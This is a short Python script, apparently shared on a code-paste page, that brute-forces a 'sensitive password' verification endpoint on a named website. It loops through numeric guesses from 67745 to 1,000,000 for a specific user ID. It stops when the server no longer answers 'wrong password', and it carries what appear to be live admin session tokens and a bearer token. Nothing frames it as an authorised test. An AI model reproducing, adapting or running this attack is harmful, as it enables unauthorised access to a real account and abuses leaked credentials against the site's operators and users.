test.py 1.3 KB

1234567891011121314151617181920212223242526272829303132333435
  1. import requests
  2. import time
  3. url = "https://cppaidan.com/paidanserv/system/user/verifySensitivePassword"
  4. headers = {
  5. "accept": "application/json, text/plain, */*",
  6. "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7",
  7. "authorization": "Bearer eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImM0MjQ0ZWFhLWM0MDktNGRmYS04NTk5LTk5NGQ5N2FmODQ1NyJ9.uPEKT90Q2QGQeWqz5Y3-TUCapP4-UChKqkcxVS6FgkIdGSa8PYLadEOMiC0OSL2hVRTx54ZL-6SjfVrpoiUWxA",
  8. "cookie": "Admin-Paidan-Token=eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6Ijk3OWE1YWVkLWZjYTctNDY1Zi1iMmU2LTE1ZjdhZDkyY2NmNCJ9.9RwvxQdkbCWs4K_4CXuyO3OW6Uh42NR03zkz7r-ugc3lvyxvUzdtToug2BqqtdvO0lh6t4hHKgUn3S8QbY21uw",
  9. "referer": "https://cppaidan.com/paidan/system/user"
  10. }
  11. password = 67745
  12. while password < 1000000:
  13. try:
  14. response = requests.post(
  15. url,
  16. headers=headers,
  17. json={"userId": 251, "sensitivePassword": str(password)},
  18. timeout=3
  19. )
  20. data = response.json()
  21. print(password)
  22. if not (data.get("code") == 500 and data.get("msg") == "密码错误"):
  23. print(data)
  24. break
  25. password += 1
  26. except Exception as e:
  27. print(f"错误: {e},重试密码: {password}")
  28. time.sleep(1) # 错误后等待1秒再重试